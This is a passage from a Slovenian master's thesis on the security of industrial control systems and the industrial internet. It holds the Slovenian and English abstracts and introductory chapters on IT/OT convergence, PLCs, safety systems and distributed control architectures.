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POVZETEK 
Magistrsko delo obravnava varnostne vidike sodobnih industrijskih sistemov, ki so namenjeni 
avtomatizaciji proizvodnje in jih najdemo pretežno v proizvodnih podjetjih. V uvodnem poglavju so 
izpostavljene tehnološke spremembe, ki so v zadnjih letih pripeljale do povečanja varnostnega 
tveganja v takšnih sistemih. Čeprav so omenjene spremembe na prvi pogled med seboj zelo različne, 
je njihov skupni imenovalec en sam – tehnologije izhajajo iz poslovnih okolij, prirejene pa so uporabi 
v sistemih, ki zahtevajo delovanje v realnem času in pri katerih je zanesljivost ključnega pomena. 
Uporaba omenjenih tehnologij, pa naj gre za operacijske sisteme, komunikacijske protokole ali 
aplikacije, seveda zahteva uporabo ustreznih mehanizmov za zmanjšanje tveganj.  
 
Uvodnemu poglavju sledi podrobnejša predstavitev samih industrijskih sistemov, njihovih gradnikov 
in topologij. Ker so industrijski krmilniki danes najpomembnejši gradniki takšnih sistemov, so ti 
posebej izpostavljeni. Predstavljena je njihova zgradba, funkcionalnosti posameznih elementov ter 
način njihovega programiranja. Posebej so v tem kontekstu izpostavljeni varnostni sistemi, ki jih v IT 
okoljih ne poznamo. Glede na to, da je večina današnjih industrijskih sistemov porazdeljenih in je 
posledično varnost samih sistemov močno odvisna od varnostnih mehanizmov, ki jih ponujajo 
komunikacijski protokoli, so v tem poglavju predstavljeni tudi protokoli, ki jih danes uporabljamo za 
izmenjavo podatkov. 
 
Razvoj interneta, mobilnih tehnologij in senzorjev je omogočil vse pogostejšo izmenjavo podatkov 
med najrazličnejšimi napravami. Internet stvari, ki je na ta način nastal, je opisan v tretjem poglavju, 
kjer so predstavljene ključne tehnologije, ki so za uspešen zajem, prenos in obdelavo velikih količin 
podatkov potrebne, ter primeri uporabe na različnih področjih gospodarstva in vsakdanjega življenja. 
Prav tako so v tem poglavju opisani novi poslovni modeli, ki jih internet stvari omogoča.  
 
Večina napovedi glede ekonomskih učinkov uvedbe interneta stvari si je edina v predpostavki, da bo 
ta imel največji vpliv na področju gospodarstva v najširšem pomenu besede. Industrijski internet, ki 
bo na ta način nastal, bo omogočil povečanje učinkovitosti proizvodnje in upravljanja virov. 
Industrija 4.0, kiber-fizični sistemi in pametne tovarne, v katerih bodo izdelki sami sodelovali v 
proizvodnem procesu, so skupaj z referenčnimi modeli industrijskega interneta podrobneje opisani 
v četrtem poglavju. 
 
Poglavja, ki sledijo, so v celoti posvečena varnosti industrijskih internetnih sistemov. V njih so najprej 
opisane varnostne storitve in mehanizmi, ki jih za zagotavljanje razpoložljivosti, celovitosti in 
zasebnosti v takšnih sistemih uporabljamo. Predstavljeno je varnostno tveganje in načini modeliranja 
groženj ter izpostavljene nekatere najpogostejše grožnje, s katerimi se bomo v takšnih sistemih 
srečevali. Kot izhodišče so pri tem vzeti obstoječi industrijski sistemi na eni strani ter internet stvari 
na drugi. Šesto in sedmo poglavje sta namenjeni predstavitvi mehanizmov za zmanjšanje varnostnih 
tveganj in upravljanju z varnostjo. 
 
Da bi ugotovili kakšno je dejansko varnostno tveganje, ki ga prinaša uporaba sodobnega 
industrijskega krmilnika, smo v osmem poglavju pod drobnogled vzeli modularen a cenovno 
relativno dostopen krmilnik Beckhoff CX8090, v katerem sta uporabljena procesor ARM in 
operacijski sistem Windows Embedded CE 6.0. Metodologija varnostnega pregleda krmilnika je bila 
povzeta po metodologiji, ki jo uporabljamo v poslovnih okoljih in ustrezno prilagojena. Ključne 
grožnje, ki smo jih v tem primeru želeli v praksi preveriti, so bile pridobitev administrativnega dostopa 
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ter onemogočanje delovanja Modbus/TCP strežnika in spletnega administrativnega vmesnika. Prav 
tako smo v praktičnem delu preverili kako učinkoviti so mehanizmi za zaščito intelektualne lastnine. 
 
KLJUČNE BESEDE: industrijski sistemi, industrijski internet, internet stvari, varnostno tveganje, varnost, 
varnostni pregled 
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ABSTRACT 
This thesis deals with security aspects of modern industrial control systems that are used in process automation 
and manufacturing. As these systems have changed considerably in the past decade, the introductory chapter 
gives an overview of these changes and explains why these systems are more vulnerable to cybersecurity threat 
than ever before. To be able to address those threats more and more security related technologies from IT are 
used in OT environments. 
 
In the second chapter industrial control systems, their operating principles, main building blocks and 
topologies are presented. Programmable logic controllers (PLCs) as their core component are presented in 
more detail including hardware and software. Special attention is given to the communication protocols used 
to exchange data in distributed industrial control systems since they play a critical role preserving their security 
and safety. 
 
Ubiquitous connectivity made possible by the development of wireless and mobile technologies, 
miniaturisation of sensors of all kinds and virtually unlimited analytic capabilities using cloud infrastructure 
enabled the development of the Internet of Things (IoT). How these technologies will change our daily life as 
well how they will affect process automation and manufacturing is the main topic of the third chapter. 
Reference architectures, specific communication protocols and new business models that will be enabled by 
the IoT are presented as well. 
 
Although different estimates about the economic impact of the IoT exist, they all share a common 
denominator. Manufacturing will benefit the most with the rise of the Industrial Internet of Things (IIoT) that 
will enable increased operations and inventory efficiency. Industry 4.0 concepts, cyber-physical systems and 
smart factories that will allow products to take part in an interactive manufacturing process are presented in 
detail in the fourth chapter. 
 
The following chapters are exclusively dedicated to the security of the industrial internet. Following a general 
introduction to IT/OT security, various ways of threat modelling are presented. A detailed overview of the 
most common threats in industrial internet systems and possible ways to mitigate them is given in the sixth 
chapter, while the seventh chapter deals with security management. 
 
A security assessment of a Beckhoff CX8090 controller, based on an ARM processor and Windows 
Embedded CE 6.0 operating system, was performed and described in detail in the eight chapter. The 
methodology used was based on the methodologies usually used in IT environments with appropriate 
adaptations to suite specific industrial internet environments. Special attention was given to the possibility of 
obtaining administrative access to the controller or disrupting its service. 
 
KEYWORDS: industrial control systems, industrial internet, internet of things, security risk, security, 
vulnerability assessment 
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1. UVOD 
Industrijske krmilno-regulacijske sisteme (angl. Industrial Control System – ICS) ali krajše kar industrijske 
sisteme danes najdemo v praktično vseh vrstah organizacij, v katerih so proizvodni procesi tako ali drugače 
avtomatizirani in podprti z informacijskimi tehnologijami. Takšni sistemi imajo na primer ključno vlogo pri 
proizvodnji hrane ali v farmacevtski industriji, kjer sta zagotavljanje sledljivosti sestavin in natančen nadzor 
nad postopki priprave ključna za zagotavljanje varnosti in kakovosti izdelkov. Po drugi strani imajo industrijski 
sistemi pomembno vlogo na primer v avtomobilski industriji ali pri proizvodnji elektronskih komponent, kjer 
je zaradi množične proizvodnje mogoče ohranjati konkurenčnost le z visoko stopnjo avtomatizacije procesov. 
Spet po tretji strani so industrijski sistemi zelo pomemben element kritične infrastrukture vsake države, saj na 
primer omogočajo nemoteno proizvodnjo in distribucijo vode, električne energije in ostalih energentov, prav 
tako pa so nepogrešljivi pri nadzoru praktično vseh vrst prometa, od cestnega, železniškega in pomorskega pa 
do letalskega.  
 
Zgodovina industrijskih sistemov kot jih poznamo danes je tesno povezana z razvojem polprevodniških 
elektronskih komponent na eni strani in senzorjev oziroma aktuatorjev na drugi. Čeprav sta delitev dela in 
uporaba parnih ter kasneje električnih strojev omogočili hiter razvoj proizvodnih podjetij že v 18. in 19. 
stoletju, so se ta v smislu učinkovitosti proizvodnje začela bistveno hitreje razvijati po pričetku uporabe 
tranzistorjev v krmilnih in nadzornih sistemih v 60. letih dvajsetega stoletja. Sprva ločeni krmilniki so se v 
naslednjih desetletjih začeli z uporabo namenskih komunikacijskih protokolov povezovati v vse večje in 
kompleksnejše sisteme, kar je omogočilo bistveno natančnejši nadzor ter prilagodljivejše krmiljenje 
industrijskih procesov.  
 
Razvoj polprevodniških elektronskih komponent je imel velik vpliv tudi na razvoj osebnih računalnikov, ki so 
postajali vse cenejši in so v 80. letih dvajsetega stoletja začeli vse bolj nadomeščati drage centralizirane  
računalniške sisteme. Hiter napredek komunikacijskih tehnologij in uporaba odprtih standardov, predvsem 
protokola IP, sta v 90. letih omogočila povezovanje ločenih računalniških sistemov v globalno omrežje. 
Internet kot tak je postajal nepogrešljiv pri izmenjavi podatkov v vsakdanjem življenju, saj so ga ljudje začeli 
uporabljati za izmenjavo datotek, za dostop do storitev svetovnega spleta, elektronske pošte, elektronskega 
bančništva in e-uprave. Podobno kot je imel razvoj interneta velik vpliv na vsakodnevno življenje, je njegova 
vse pogostejša uporaba prinesla cel kup prednosti tudi v poslovna okolja. Geografsko ločene poslovne enote 
je bilo tako z uporabo interneta mogoče bistveno enostavneje povezati v navidezna zasebna omrežja (angl. 
Virtual Private Network – VPN) kot kadarkoli prej, prav tako pa je praktično neomejena povezljivost 
omogočila bistveno enostavnejše in učinkovitejše sodelovanje med zaposlenimi. 
 
Pomembno vlogo pri razvoju interneta kot globalnega omrežja so imela tudi mobilna omrežja. Če so analogna 
mobilna omrežja prve generacije omogočala izključno prenos govora, je bilo že v GSM omrežjih z ustreznimi 
nadgradnjami (EDGE/GPRS) možno zagotoviti uporabo podatkovnih storitev kot je na primer elektronska 
pošta ali pa svetovni splet. 
 
1.1. Povečevanje varnostnega tveganja v industrijskih omrežjih  
Čeprav bomo pojem varnostnega tveganja kot kvalitativne ocene posamezne grožnje natančneje opredelili šele 
v nadaljevanju, poskusimo predstaviti osnovne razloge za njegovo povečanje v današnjih industrijskih 
omrežjih. Kot bomo videli, sta razloga za to predvsem dva. 
 
Prvega nedvomno predstavlja vse pogostejša povezanost industrijskih sistemov z ostalimi sistemi v 
proizvodnih podjetji. Nekoč strogo ločeni sistemi so postajali vse bolj povezani z ostalimi sistemi v 
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proizvodnih podjetjih (sistemi za vodenje proizvodnje, poslovni sistemi, …), saj je takšna povezanost prinašala 
celo vrsto prednosti, med katerimi velja na vsak način izpostaviti učinkovitejše upravljanje z dobavnimi 
verigami ter boljše planiranje proizvodnje. Izbira rešitve za zagotovitev medsebojne izmenjave podatkov je bila 
že takrat relativno enostavna. Protokol IP se je namreč izkazal kot dovolj prilagodljiv za prenos podatkov pri 
dostopu do spleta in uporabi elektronske pošte, prenos avdio in video vsebin ter govora tako v stacionarnih 
kot tudi mobilnih omrežjih. Prilagodljivost in skoraj samoumevna združljivost rešitev posameznih 
proizvajalcev, ki je bila povezana prav z uporabo protokola IP, sta v industrijska omrežja prinesli celo vrsto 
novih tveganj. Protokol IP kot tak namreč ponuja relativno omejene možnosti zagotavljanja varnostnih 
storitev kot so razpoložljivost, celovitost in zasebnost, hkrati pa tudi rešitve, ki smo jih poznali v industrijskih 
omrežjih niso bile zasnovane tako, da bi bile te primerne za uporabo v odprtih sistemih. 
 
Drugi razlog za znatno povečanje varnostnega tveganja v današnjih industrijskih sistemih predstavlja uporaba 
standardnih rešitev za obdelavo in shranjevanje podatkov. Če so namreč v preteklosti prevladovala namenska 
integrirana vezja in specifični operacijski sistemi, danes že skoraj vsi ponudniki rešitev za avtomatizacijo 
proizvodnje ponujajo industrijske krmilnike, ki uporabljajo ARM, Intel Atom ali Intel i3/i5/i7 procesorje, in 
na katerih so nameščeni operacijski sistemi kot sta Linux ali Microsoft Windows. Praktično vse omenjene 
procesorje in operacijske sisteme najdemo tudi v mobilnih telefonih, tablicah, prenosnih in delovnih postajah, 
ki jih uporabljamo tako za delo kot tudi zabavo. Podobno se v današnjih industrijskih sistemih za shranjevanje 
podatkov uporabljajo podatkovne baze kot sta Microsoft SQL in MySQL, ki jih poznamo iz poslovnih okolij. 
Konvergenca IT in OT rešitev se je odrazila tudi na aplikacijskem sloju, tako da v današnjih industrijskih 
sistemih najdemo že cel kup spletnih aplikacij. Njihov najpogostejši primer so HMI vmesniki, ki so namenjeni 
predstavitvi stanja industrijskega procesa ter njegovemu vodenju, vse pogosteje pa se te uporabljajo tudi za 
upravljanje samih krmilnikov in v nekaterih primerih tudi za izmenjavo podatkov med njimi. 
 
Dejstvo je, da se bo varnostno tveganje z razvojem interneta stvari in postopno uveljavitvijo industrijskega 
interneta stvari zaradi veliko večje povezanosti posameznih sistemov le še povečalo. Če torej želimo prednosti, 
ki jih ta prinaša, izkoristiti tudi v praksi, je potrebno najti ustrezen odgovor na vprašanje kako podatke, ki si jih 
bodo posamezni gradniki med seboj izmenjevali in njih same, ustrezno zaščititi. Kot bomo videli je odgovor 
na to vprašanje vse prej kot enostaven. 
 
1.2. Varnostni mehanizmi v industrijskih omrežjih  
Kot smo že povedali, so bili industrijski sistemi zgodovinsko povsem ločeni od ostalih sistemov v proizvodnih 
podjetjih, prav tako pa so se za izmenjavo podatkov med posameznimi elementi distribuiranega sistema 
uporabljali namenski komunikacijski protokoli, za katerimi je stal ta ali oni proizvajalec strojne opreme, kateri 
specifikacij zanje praviloma ni javno objavil (angl. security through obscurity). Čeprav se je takšen način 
zagotavljanja varnosti v zgodovini že večkrat izkazal kot neustrezen, je bil za industrijske sisteme dolgo časa 
povsem uporaben, saj je bil za zlorabo posamezne ranljivosti vselej potreben fizični dostop do proizvodne 
linije ali sistema, prav tako pa je bil krog potencialnih napadalcev precej omejen, saj so bile uporabljene rešitve 
precej specifične. 
 
Uporaba protokolov kot sta Ethernet in IP, katerih specifikacije so odprte in javno objavljene, ter standardne 
strojne in programske opreme v industrijskih okoljih, je s seboj prinesla tudi uporabo varnostnih rešitev, ki jih 
že kar nekaj časa poznamo v IT okoljih, pa naj gre za segmentacijo oziroma razdelitev omrežij glede na 
pričakovano stopnjo varnostnega tveganja, uporabo bolj ali manj naprednih požarnih pregrad za nadzor 
prometa med njimi, uporabo sistemov za centralizirano zbiranje in korelacijo podatkov o dogodkih, ki so tako 
ali drugače povezani z varnostjo, … Implementacija omenjenih rešitev seveda terja določene prilagoditve tako 
na strani strojne kot tudi programske opreme, na prvo mesto pa je pri tem za razliko od poslovnih okolij vselej 
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postavljena razpoložljivost oziroma zanesljivost delovanja. Napake v delovanju ali izpadi delovanja 
posameznih komponent imajo v industrijskih sistemih namreč lahko precej hude posledice. 
 
Na kakšen način pa bo potrebno omenjene rešitve prilagoditi ob uveljavitvi industrijskega interneta stvari? Kot 
bomo videli kasneje, bo ta prinesel kar nekaj sprememb v industrijska okolja, saj bo omogočil razvoj pametnih 
tovarn, v katerih bodo izdelki aktivno sodelovali v proizvodnem procesu. Takšen način proizvodnje bo 
korenito spremenil prometne tokove v industrijskih sistemih, ki bodo postali precej bolj porazdeljeni, čemu se 
bodo morali prilagoditi tudi varnostni mehanizmi. Drugo veliko spremembo v industrijskih okoljih, ki je tesno 
povezana z industrijskim internetom stvari, predstavljajo storitve v oblaku. Čeprav si je zaradi čisto tehnoloških 
omejitev pri nadzoru industrijskih procesov zelo težko predstavljati, da bi se v javnih oblakih izvajal nadzor in 
upravljanje s samim industrijskim procesom, je povsem upravičeno pričakovati, da se bodo na primer vanje 
prenašali podatki, potrebni za napovedovanje okvar na strojih in napravah, lokalno obdelavo podatkov in 
njihovo agregacijo pa bodo izvajali industrijski krmilniki. Povečanje funkcionalnosti industrijskih krmilnikov 
bo zahtevalo uporabo naprednejših mehanizmov za njihovo zaščito in upravljanje. 
 
Da pa bi bolje razumeli kakšne premembe prinaša internet stvari v industrijska okolja, si najprej poglejmo kako 
so ta danes sestavljena in kateri protokoli se v njih najpogosteje uporabljajo. 
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2. INDUSTRIJSKI KRMILNO-REGULACIJSKI SISTEMI 
Industrijski krmilno-regulacijski sistemi so glede na velikost, tehnološko izvedbo in kompleksnost zelo različni, 
prav tako jih je mogoče razdeliti na zelo veliko načinov glede na to kateri elementi jih sestavljajo ali katere 
protokole uporabljajo za medsebojno izmenjavo podatkov. Kljub omenjenim razlikam ostaja njihova 
funkcionalnost v najširšem pomenu besede ena sama, saj so namenjeni upravljanju strojev in naprav, ki jih 
uporabljamo za avtomatizacijo procesov v najrazličnejših gospodarskih panogah. Ker pa med njimi najbolj 
izstopa prav industrija, jih najpogosteje imenujemo kar industrijski sistemi. Brez da bi se na tem mestu spuščali 
v podrobnosti sistemske teorije in teorije vodenja, poskusimo na relativno enostaven način opisati teoretično 
ozadje delovanja takšnih sistemov. 
 
2.1. Modeliranje in krmiljenje procesov 
Predpostavimo, da bi želeli proces proizvodnje izbranega industrijskega izdelka avtomatizirati, tako da bi lahko 
z uporabo sodobnih tehnoloških orodij dosegli višjo kvaliteto, z znižanjem proizvodnih stroškov in časa 
proizvodnje povečali učinkovitost oziroma konkurenčnost ter nenazadnje zmanjšali vplive na okolje. 
Proizvodni proces izbranega izdelka je mogoče opisati kot časovno urejeno zaporedje osnovnejših operacij, 
pri čemer je mogoče natančno določiti pogoje za prehod med posameznimi fazami. Proizvodnemu procesu je 
mogoče dodeliti ustrezni model. Glede na to, na kakšen način smo realnemu sistemu priredili ustrezni model, 
ločimo celo vrsto modelov [1], med katerimi je z inženirskega stališča daleč najpomembnejši matematični 
model, saj nam ta daje možnost uporabe matematičnih orodij za njegovo simulacijo in optimizacijo. Če so 
vhodne in izhodne spremenljivke v izbranem modelu linearno odvisne govorimo, o linearnem modelu, v 
nasprotnem primeru pa gre za nelinearni model, ki je z računskega vidika bistveno zahtevnejši. 
 
2.2. Krmilno-regulacijski sistem 
Naloga krmilno-regulacijskega sistema v kontekstu sistemske teorije je v najširšem pomenu besede vsakršno 
spremljanje stanja sistema in vplivanje nanj na način, ki bo omogočil doseganje želenih ciljev. Za lažje 
razumevanje vzemimo bolj konkreten primer, s katerim se je srečal že skoraj vsak med nami. Predpostavimo, 
da imamo v avtomobilu vgrajen tempomat, s katerim je mogoče nastaviti hitrost vožnje in predvsem na 
avtocestah zagotoviti precej bolj udobno vožnjo, v nekaterih primer tudi zmanjšati porabo goriva. Krmilnik, 
ki v avtomobilu z uporabo senzorjev meri hitrost vrtenja koles, skrbi za zagotavljanje nastavljene hitrosti tako, 
da neposredno vpliva na delovanje motorja. Kadar avtomobil prične voziti navkreber, se bo pri nespremenjeni 
moči motorja začela hitrost avtomobila zmanjševati. Za premagovanje zračnega in kotalnega upora bo namreč 
na razpolago manj moči, saj se je bo del porabil za povečevanje potencialne energije avtomobila. Omenjeno 
zmanjšanje hitrosti bo krmilnik zaznal in povečal moč motorja, tako da bo njeno povečanje ustrezalo 
povečevanju potencialne energije. Hitrost vožnje bo zaradi tega ostala nespremenjena. Obraten proces se bo 
odvil, ko bo avtomobil pripeljal na vrh vzpetine in se bo začel spuščati. Krmilnik bo na račun zmanjševanja 
potencialne energije zmanjšal moč motorja, tako da se hitrost vožnje ne bo spremenila. Bolj kompleksen 
krmilno-regulacijski sistem, ki ga danes srečamo tudi že v avtomobilih srednjega cenovnega razreda, predstavlja 
aktivni tempomat, kateri je sposoben z uporabo laserskih in radarskih merilnikov razdalje hitrost avtomobila 
prilagoditi dejanskim razmeram v prometu, po potrebi pa avtomobil tudi popolnoma ustaviti. 
 
Podobnih krmilno-regulacijskih sistemov je v avtomobilu cela vrsta, vsi pa temeljijo na cikličnem preverjanju 
stanja in krmiljenju oziroma regulaciji posamezne regulacijske zanke. Glede na to, na kakšen način se regulacija 
izvaja, ločimo odprte in zaprte regulacijske zanke. Pri zaprtih regulacijskih zankah je vpliv krmilno-
regulacijskega sistema neposredno odvisen od stanja samega sistema, ki ga ta nadzoruje. Omenjeno za odprte 
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regulacijske zanke ne velja, saj pri takšnih sistemih krmiljena veličina nima nobenega vpliva na krmilni signal. 
Čeprav v praksi uporabljamo tako sisteme z odprtimi kot tudi zaprtimi regulacijskimi zankami, lahko v 
splošnem rečemo, da so tehnološke izvedbe prvih navadno enostavnejše, zato pa drugi na račun večje 
kompleksnosti omogočajo natančnejše in hitrejše krmiljenje. Zaradi neposredne povezave med krmilnim 
signalom in krmilno veličino je potrebno pri sistemih z zaprto zanko posebno pozornost posvetiti njihovi 
stabilnosti. 
 
2.3. Gradniki industrijskih sistemov in njihove funkcionalnosti 
Kot smo že omenili, so industrijski krmilno-regulacijski sistemi med seboj lahko zelo raznoliki, tako glede na 
velikost kot tudi na kompleksnost oziroma zahtevnost izvedbe. Ne glede na omenjene razlike pa je mogoče 
takšne sisteme v najbolj splošnem primeru predstaviti kot množico specializiranih elektronskih naprav, ki so 
po eni strani povezane med seboj v lokalno (angl. Local Area Network – LAN) ali prostrano (angl. Wide Area 
Network – WAN) omrežje, po drugi pa na stroje in naprave, katerih delovanje dejansko nadzorujejo. Če 
omenjene naprave razdelimo glede na njihovo funkcijo, potem tipični industrijski krmilno-regulacijski sistem 
sestavljajo: 
 
 senzorji (položaja, hitrosti, temperature, tlaka, nivoja, …), ki omogočajo zaznavanje stanja sistema, 
in aktuatorji (pogonski motorji, ventili, …), kateri omogočajo njegovo spreminjanje, 
 industrijski krmilniki (angl. Programmable Logic Controller – PLC), ki omogočajo zbiranje in 
obdelavo podatkov iz različnih senzorjev ter krmiljenje procesa z uporabo aktuatorjev, 
 vmesniki tipa človek-stroj (angl. Human Machine Interface – HMI), ki operaterjem dajejo možnost 
spremljanja posameznih procesnih parametrov ter vplivanja na njegovo izvajanje. HMI vmesniki 
so danes skoraj brez izjeme grafični in najpogosteje izvedeni kot zasloni, občutljivi na dotik, pogosto 
pa jih najdemo tudi kot aplikacije na mobilnih napravah, 
 inženirske delovne postaje, ki se uporabljajo pri konfiguraciji posameznih aktivnih elementov in 
odpravi napak v njihovem delovanju,   
 arhivski strežniki (angl. data historian), kateri omogočajo zbiranje, obdelavo in hrambo podatkov o 
izvajanju procesov za izbrano časovno obdobje. Arhivski strežniki so navadno realizirani kot 
podatkovna skladišča, v katerih se podatki shranjujejo v podatkovne baze.  
 
Industrijski sistemi so danes praktično v vseh proizvodnih podjetjih na tak ali drugačen način povezani s 
poslovnimi informacijskimi sistemi. Ključno prednost takšne povezave predstavlja v prvi vrsti izboljšana 
možnost upravljanja proizvodnega procesa kot celote, ali bolj konkretno načrtovanja proizvodnje glede na 
povpraševanje, možnost zmanjšanja stroškov z natančnejšim planiranjem potrebnih surovin ali drugih 
izdelkov, potrebnih pri proizvodnji. 
 
2.3.1. Industrijski krmilniki 
Industrijski krmilniki predstavljajo najpomembnejši gradnik industrijskega krmilno-regulacijskega sistema. 
Čeprav so včasih prevladovale relejske izvedbe, pri katerih je bila programska logika realizirana izključno z 
elektro-mehanskimi elementi, so te sčasoma nadomestile elektronske izvedbe, ki so omogočale enostavnejše 
spreminjanje delovanja in hkrati daljšo življenjsko dobo samih krmilnih sistemov. Med elektronskimi 
industrijskimi krmilniki tako danes prevladujejo različne izvedbe programirljivih logičnih vezij (PAL, GAL, 
FPGA, …) predvsem v primerih, ko zahtevamo zelo visoko hitrost delovanja ali pa omejen nabor 
funkcionalnosti. V ostalih primerih večinoma srečamo splošno namenske industrijske krmilnike, ki temeljijo 
na uporabi mikroprocesorjev in so kot taki posebej primerni za logično in sekvenčno vodenje. 
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Krmiljenje industrijskih procesov temelji na zbiranju podatkov iz najrazličnejših senzorjev, njihovi obdelavi v 
krmilnikih ter odzivu na trenutno stanje preko različnih aktuatorjev, zato imajo industrijski krmilniki v 
primerjavi z osebnimi računalniki bistveno večje število podatkovnih vhodov oziroma izhodov. Število 
vhodno/izhodnih enot se lahko pri elektronskih krmilnikih giblje od nekaj deset pri krmilnikih, ki so namenjeni 
avtomatizaciji enostavnih strojev ali naprav, pa do nekaj tisoč pri krmilnikih, ki omogočajo izvajanje zelo 
kompleksnih operacij. Omenjeni vhodi in izhodi so lahko analogni, kjer pri vhodih prevladujejo tokovni 4-20 
mA ali napetostni 1-5 VDC, ali pa digitalni.  
 
Prav tako se industrijski krmilniki od običajnih računalnikov ločijo glede na ohišja in napajanja, ki jih 
uporabljajo. Ohišja večine današnjih zmogljivejših krmilnikov so modularna, tako da omogočajo dodajanje 
poljubnih vhodno/izhodnih enot ter na ta način povečujejo njihovo prilagodljivost. V nekaterih primerih 
ohišja zagotavljajo krmilnikom tudi zaščito pred okoljskimi vplivi, saj so nekateri namenjeni delovanju na 
odprtem in v zelo raznolikih vremenskih razmerah. Podobno kot pri drugih komponentah, namenjenih 
avtomatizaciji, se tudi pri krmilnikih navadno uporablja napajanje 24 VDC. 
 
Sistemska programska oprema 
Podobno kot je delovanje osebnih računalnikov točno določeno s programsko opremo, ki se na njih izvaja, 
velja to tudi za industrijske krmilnike. Če govorimo o zmogljivejših industrijskih krmilnikih srednjega in višjega 
cenovnega razreda, najdemo na njih dve vrsti programske opreme – operacijski sistem, katerega ključna naloga 
je upravljanje z viri krmilnika (procesorski čas, pomnilnik, vhodno/izhodne enote, …) in aplikacijami, ter eno 
ali več uporabniških aplikacij, ki so namenjene upravljanju industrijskega procesa v najširšem pomenu besede. 
Operacijski sistemi, ki jih v praksi najdemo na krmilnikih, so skoraj brez izjem večopravilni, za razliko od 
operacijskih sistemov, ki jih navadno srečamo v poslovnih okoljih, pa je zanje zelo pomembna možnost 
izvajanja posameznih procesov v realnem času (angl. Real Time Operating System – RTOS), tako da ti pogosto 
omogočajo uporabo naprednih mehanizmov za rezervacijo virov ali pa začasno onemogočanje prekinitev. 
Tipični predstavniki te skupine so operacijski sistemi VxWorks in NI Real Time Linux, ki jih na primer 
uporabljajo pri podjetju National Instruments, ter Windows Embedded Compact, ki ga na primer uporabljajo 
pri podjetju Beckhoff. 
 
Virtualizacija in razvoj energetsko učinkovitih večjedrnih procesorjev (kot je na primer Intel Atom) sta odprla 
povsem nove možnosti uporabe tudi v industrijskih okoljih. Na trgu tako danes že najdemo industrijske 
krmilnike, na katerih programska oprema za virtualizacijo tipa I omogoča sočasno izvajanje operacijskega 
sistema v realnem času in splošno namenskega operacijskega sistema (angl. General Purpose Operating System 
– GPOS). Če je uporaba prvega strogo omejena in namenjena le procesom, ki se morajo izvajati v realnem 
času, imajo razvijalci pri uporabi drugega precej več svobode in jih uporabljajo predvsem pri implementaciji 
različnih HMI vmesnikov. Takšen način uporabe industrijskih krmilnikov močno povečuje njihovo 
prilagodljivost ter hkrati znižuje stroške razvoja in upravljanja industrijskih krmilno-regulacijskih sistemov.  
 
Aplikativna programska oprema 
Pri razvoju programske opreme za današnje industrijske krmilnike v praksi srečamo dva pristopa. Prvi, ki je 
specifičen za področje avtomatizacije in neposredno izhaja iz prvih relejskih izvedb krmilnikov, pri katerih so 
se uporabljale trdo ožičene povezave med senzorji in aktuatorji, predvideva uporabo grafičnih orodij za opis 
krmilnega procesa. Če pri opisu izhajamo iz pretoka moči, potem je v skladu s standardom IEC 61131 mogoč 
opis z lestvičastim diagramom (angl. Ledder Diagram – LD), če pa se osredotočamo na pretok signalov, potem 
je mogoča uporaba funkcijskega blokovnega diagrama (angl. Function Block Diagram – FBD). Poleg 
omenjenih grafičnih načinov danes v praksi pogosto uporabljamo še tekstovni strukturirani tekst (angl. 
Structured Text – ST), ki je zelo podoben višjenivojskim programskim jezikom (na primer C, Pascal, …) in 
omogoča uporabo zank (FOR, REPEAT, WHILE) ter pogojnih skokov (IF). Po drugi strani so za razvoj 
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programske opreme za industrijske krmilnike na voljo tudi orodja in razvojna okolja, ki jih poznamo iz 
poslovnih okolij (na primer Visual Studio). 
 
2.3.2. Varnostni sistemi 
Varnostni sistemi (angl. Safety Instrumented Systems – SIS) predstavljajo zelo pomemben element vsakega 
industrijskega krmilno-regulacijskega sistema, saj zagotavljajo varno delovanje stroja ali naprave v smislu 
preprečevanja poškodb pri operaterjih, ki z njimi upravljajo, in škode na opremi ali njeni okolici v najširšem 
pomenu besede. Varnostni sistemi so podobno kot sami industrijski sistemi lahko zelo različni glede velikosti 
in kompleksnosti, prav tako pa jih sestavljajo podobni gradniki – varnostni krmilniki, senzorji, aktuatorji, …. 
Najbolj prepoznaven del varnostnega sistema, ki ga najdemo na praktično vsakem stroju ali napravi, predstavlja 
stikalo za izklop v sili. Takšno stikalo, ki je vselej rdeče in rumene barve ter mora imeti prisilno odprte kontakte, 
je navadno povezano neposredno na vhod varnostnega krmilnika, kateri ob njegovi aktivaciji sproži varno 
zaustavitev stroja oziroma naprave. V skladu s standardom IEC 60204-1 lahko varnostni krmilnik stroj ali 
napravo zaustavi tako, da ji le prekine dovod energije in na ta način izvede nenadzorovano zaustavitev 
(kategorija 0) ali pa pred tem še poskrbi za nadzorovano varno zaustavitev (kategorija 1). 
 
Bolj kompleksni varnostni sistemi temeljijo na uporabi varnostnih krmilnikov (angl. safety PLC). Da bi 
zagotovili kar najvišjo možno stopnjo zanesljivosti varnostnega sistema, so varnostni krmilniki lahko 
redundantni, pogosto pa so vanje vgrajeni mehanizmi, ki omogočajo samodejno odpravo napak pri njihovem 
delovanju.  
 
Iz istega razloga so v praksi dolgo prevladovale trdo ožičene izvedbe varnostnih sistemov, ki so uporabljale 
izključno elektro-mehanske komponente. Povečevanje zanesljivosti delovanja elektronskih komponent, 
strojne in programske opreme so v marsičem spremenili tudi delovanje varnostnih sistemov. Sčasoma so se 
tako pričele uporabljati tudi čisto elektronske izvedbe, ki so bile s krmilniki sprva povezane preko digitalnih 
vhodno/izhodnih enot, potem pa so ti našli svoje mesto tudi v modularnih izvedbah samih krmilnikov. 
Podobno je napredek na področju komunikacijskih protokolov (na primer FSoE) omogočil, da se na 
področnem sloju varnostne funkcije centralizirajo, varnostni krmilniki kot namenske naprave pa lahko za 
komunikacijo s krmilniki uporabljajo kar obstoječo komunikacijsko infrastrukturo. 
 
Podobno so zaradi zagotavljanja zanesljivosti delovanja precej omejene tudi funkcionalnosti varnostnih 
krmilnikov.  
 
2.4. Porazdeljeni industrijski krmilno-regulacijski sistemi 
Porazdeljeni industrijski sistemi (angl. Distributed Control System – DCS) predstavljajo danes 
največjo skupino industrijskih krmilno-regulacijskih sistemov. Z namenom izboljšanja odzivnosti in 
zanesljivosti delovanja so krmilne funkcije pri takšnih sistemih porazdeljene med več različnih 
elementov, tako da je mogoče tipični porazdeljeni industrijski sistem predstaviti hierarhično. 
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Slika 1: Topologija sodobnega porazdeljenega industrijskega sistema [2] 
Najnižji nivo v sodobnem porazdeljenem industrijskem sistemu predstavlja področni nivo (angl. field level), ki 
ga sestavljajo senzorji in aktuatorji, kateri dejansko sodelujejo pri krmiljenju industrijskega procesa. Količina 
